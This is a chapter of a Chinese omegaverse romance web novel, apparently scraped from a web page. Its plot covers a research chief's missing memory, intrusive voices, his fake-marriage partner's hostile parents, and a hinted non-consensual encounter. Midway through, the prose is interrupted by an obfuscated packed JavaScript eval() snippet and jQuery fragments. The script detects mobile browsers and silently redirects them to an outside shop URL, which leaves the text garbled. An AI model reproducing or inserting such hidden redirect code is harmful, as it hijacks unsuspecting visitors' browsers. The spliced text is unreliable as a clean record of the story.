办公舱。

    商帷听着助理的工作汇报,手指有一搭没一搭敲着桌沿。

    对于这次帝国军方发起的项目,他迅速指出实验样品不足的漏洞,趁助理记录重点之际,忽然想起什么:“你说你回来的时候发现我在做什么?午睡?”

    研究院的工作繁多复杂,这么多年,商帷竟不知道自己还有这样的习惯。

    助理挠了挠头,跟着疑惑:“对啊,哥,你是不是最近压力大,没睡好?”

    商帷脸色顿时一变:“叫我什么?”

    助理从善如流:“首席、商首席。”

    “说来也怪,”想到什么,助理补充自己提前回来的理由:“军队那个年轻的上尉早会时人还好端端的,不知道突发什么恶疾,听说已经住进重症监护室了。”

    说到一半,对方脸上满是兴奋之色:“有小道消息称,是军方封锁13-G7区时触动了什么未知诅咒。”

    商帷不难猜出说的正是孟勋,可他当年又不是没去过13-G7。

    又眯了眯,很难相信小陈作为自己助理能笃信诅咒这种鬼话。

    至于某些人......分明是活该。

    小陈跟他久了,自然能从自家首席脸上读出点隐晦的嫌弃,正一转换话题,随口问起怎么解决午餐时,就见对方面庞瞬时一扭曲。

    商帷:“.......”

    不为别的,只为很蹊跷断掉的记忆。

    据助理说,一推开舱门就见自己趴在桌上,商帷自己脑海中的画面却在杂物间那顿出奇美味的午餐后戛然而止。

    他想起简行远说的那句“你能吃完,我很高兴”,可后面到底发生什么,自己又是怎么回来的?

    商帷越是努力在脑海中追溯细节,得到的越是空白一片。

    恍悟自己踩了雷的小陈,一惊一乍:“哥,哦不,首席,你要是吃坏肚子别不好意思说。”

    商帷面色阴沉:“没有。”

    助理狐疑:“需要什么药我马上去买。”

    商帷紧按住眉心:“我说没有就是没有,你怎么那么多废话?”

    这次,助理总算闭嘴。

    可眼神里的关心根本藏不住,眨动的眼睛分明在问,真的没有哪里不舒服吗?

    商帷忍无可忍:“看你实在闲得慌,剩下十天的年假要不一笔销假了?”

    末了,偏往门口一瞥。

    再明显不过的赶客行为。

    头偏到一半,商帷突然神色僵硬地怔住。

    ——肌肉牵扯带过的地方,闪过一瞬奇怪又难以启齿的跳动。

    【躲不掉的......】

    【躲不掉的......】

    【躲不掉的......】

    浑浊的杂音再度在他耳边荡开。

    一瞬间,极短暂又细碎的画面犹如冲破了某种封印。

    餐盘的落地声、衣物摩擦声、骨骼相抵的闷响不断重叠成惹人浮想联翩的旖念。

    气氛在这一刻变得微妙,小陈不怕死地做出最后确认。

    “没、没事吧?”

    商帷站起身来,手指在掌心捏了两下。

    他一反常态,冷静到近乎冷酷地“嗯”了一声,然后在助理惊诧的目送中急匆匆推开了大门。

    *

    几分钟后。

    帝国研究院,某隐秘终端论坛。

    《今天是什么好日子,有没有家人给个说法?》

    主题:中午在食堂看到梦中情A也就罢了,谁懂啊,美人首席下午又来资料室了,是铁了心要帅我一脸又一脸吗?![馋嘴][馋嘴][馋嘴]

    1楼:lz是Omega吧,小心点,口水漏到我这层来了

    2楼:什么?是我知道的那位首席来了吗(只怕自己太困,出现幻觉

    3楼:并非幻觉[推眼镜]友情提示,那位顶A不是第一次下凡了哦,上次听说也是急头白脸在找谁

    楼主:回复1楼,本人是Alpha,哈哈哈,3楼确认他是来找人不是来找茬的吗?虽然但是,礼貌提问:和梦中情A对视也只泄露了一点点信息素算自制力惊人吗

    7楼:算你不行

    9楼:呃......lz要不要重学研究院信息素规范手册

    11楼:夏威夷果味道是吗[推眼镜]感觉lz已暴露坐标,再次提示目标任务貌似无功而返,各位,有需要首席高清□□4D照片的私,小贵但物有所值

    楼主:考虑买断,大家做个见证,杜绝奸商坐地起价

    ……

    在找到简行远之前,商帷并不确定对方又在玩什么把戏。

    哪怕没有证据,他总觉消失的记忆透着古怪。

    更重要的是,心底没来由地紧张和发虚,以致于商帷好不容易瞥见熟悉的人影后,脚步毫无意义地顿住。

    等看到围堵住Beta的人,商帷关于对方欲擒故纵的揣测,瞬间就烟消云散了。

    毕竟,眉眼和简行远三四分相似,气质却截然不同、气势咄咄逼人的中年夫妻除了对方父母,还会有谁?

    简母好歹顾着体面压低了声音,简父却不管这么多,唾沫星子喷出几米远。

    “给你打了那么多电话,为什么不接?”

    研究院安保严格,于是所有人不得不顶着烈日相见。

    这样热的天气,即便商帷对简行远在家的处境早有了解,却在亲眼见证的当即,心口很尖锐地被冻了一下。

    下一秒突然泄气,绷着腮帮啧了一声,想起自己也是来简行远麻烦的。

    另一头,伴随简行远状况以外的不为所动,简母脸上的失望肉眼可见,语气难掩斥责。

    “你哥几天前和我们说来A市找你,现在人不见了,倒是你这个当弟弟的,怎么做到一问三不知的?”

    首都不比其他地方,安保一流、监控完善,找人不算什么难事。

    商帷侧目看向简行远,只见对方不带任何情绪地站在原地,一句辩驳的话都没有。

    烈日当头,他工作服的袖口被高高卷起,不知什么时候领口的纽扣也被解开一颗。

    商帷只顾看戏,根本没空擦汗,全然不知道有汗珠顺着颈侧流淌到锁骨。

    谁知就在这时,瞳孔轰然一震动。

    有什么声音很突兀地在他脑海里响起。

    【好香,好香,好香......】

    【好想知道舔起来什么味道。】

    更奇怪的是,商帷摒住不断加快的呼吸,目光锋利且狐疑地落到简行远脸上。

    怎想被审视的人压根没有发现他,半垂着眼,正无比专注地被数落着。

    商帷怔然之余,心底仍浮现出一股自我怀疑的错愕,又因为这种不反抗的行为喉咙莫名其妙地发紧。

    浑然不知,站在太阳下的人忽然一掀眼睫,视线擦过他锁骨时,极快极轻。

    似在模拟某种实质性的舔舐。

    这回,除了之前自我怀疑的烦躁,皮肤上好像有虫子爬过的痒意激得商帷再次无端战栗一下。

    眼见他面色扭曲到就要骂出声,注意力被再度分散。

    “早前让你想办法把你哥介绍进研究院也是油盐不进,提起来我也一肚子火,真不知道养你有什么用!”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743389|209152||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “警方那边我们会去找,但你们院里能不能托关系看看有没有其他方法找人?小远,你到底听到没有?”

    一道声音粗,另一道声音也没有细到哪里。

    可不管任何一道声音落到商帷这里都刺耳无比。

    事实证明,夫妻两人明明很清楚大儿子是什么德行,却偏要把求助变成一场批斗大会。

    半分钟后,听不下去的商帷,整个人晕头转向,俨然气得够呛。

    等发现自己不知什么时候挡在简行远面前,此地无银地呛咳一阵。

    原因也很简单:他和简行远也只是各取所需的假结婚。

    掺和进对方家里事,算个什么情况?!

    商帷正疑惑是不是晒中了暑,就见简家父母气场不过收敛一瞬,却很快又哭天喊地痛斥起来,变脸之快,俨然想逼得简行远在院里颜面扫地。

    老两口嗓子号干了才想起来问商帷在院里是个什么角色,却见对方朝远处招招手。

    “商首席!这么大热天的,您站在门口干什么?”

    简父简母欣喜的表情保持不过一秒,只见全副武装的安保人员牵着条电子狗过来。

    两人颇为惊讶地看了眼电子狗又看了眼商帷,没想到自家儿子还认识这样的人物,正想指使Beta讨个免费人情,倒见人主动开了口。

    “嚯,找垃圾都找到这儿来了?”

    商帷把眼神递给安保:“把狗给我。”

    简父、简母面面相觑:???????

    到底什么情况?

    不等众人反应,商帷哂笑一下,接过狗就打了个响指。

    “你——”

    “你什么你。”

    “小远,他——”

    “他什么他,伸手要钱的时候没见你们这么亲热。”

    “话说到这份上都不走?”商帷不管不顾对面瞬间煞白的脸色。

    停顿半秒,再抬眸,眼底自有一番冷漠的鄙夷:“可以理解成,二位是特地在等我放狗吗?”

    眼看找人不成,场面彻底失控。

    简父迫于机器狗跃跃欲试的压力,扯过简母边后退边咒骂。

    如果可以,只怕不能一口一个唾沫星子直接把不孝子淹死。

    商帷一手牵狗一手自然而然带着简行远往回走,太阳将他们的影子无限拉长。

    背过所有人后,商帷不自觉抬起下颌:“这次,就当报你一饭之恩。”

    言下之意:仅此一例,绝无下次。

    又不知道想到什么,突然哽住的语气出卖了他:“......所以,之后到底发生了什么?”

    我又是怎么自己回去的?

    似是没料到被替换的记忆片就这么失效。

    简行远浅色的瞳孔不自然收缩后,掠过一丝怔忪:“你觉得发生了什么?”

    商帷:“……”

    他不难发现简行远向来死水一片的眼底有什么东西正在松动,有那么几瞬,商帷觉得一切都变慢了。

    貌似有不可以言说的隐秘正要破土而出。

    这种不详的预感迫使商帷机械性的低头。

    直到触及钴蓝色手镯上今日信息素监控。

    信息素爆表、记忆缺失、还有那些挥之不去的诡异触感......

    最主要的,只要不瞎都能看出Beta的反常迹象。

    眼见最不愿面对的答案即将浮出水面,他直接傻在原地。

    商帷震惊之余,额角滴落豆大颗汗水。

    他终没忍住“靠”了一声。

    别不是真和简行远发生了什么吧?!!!!!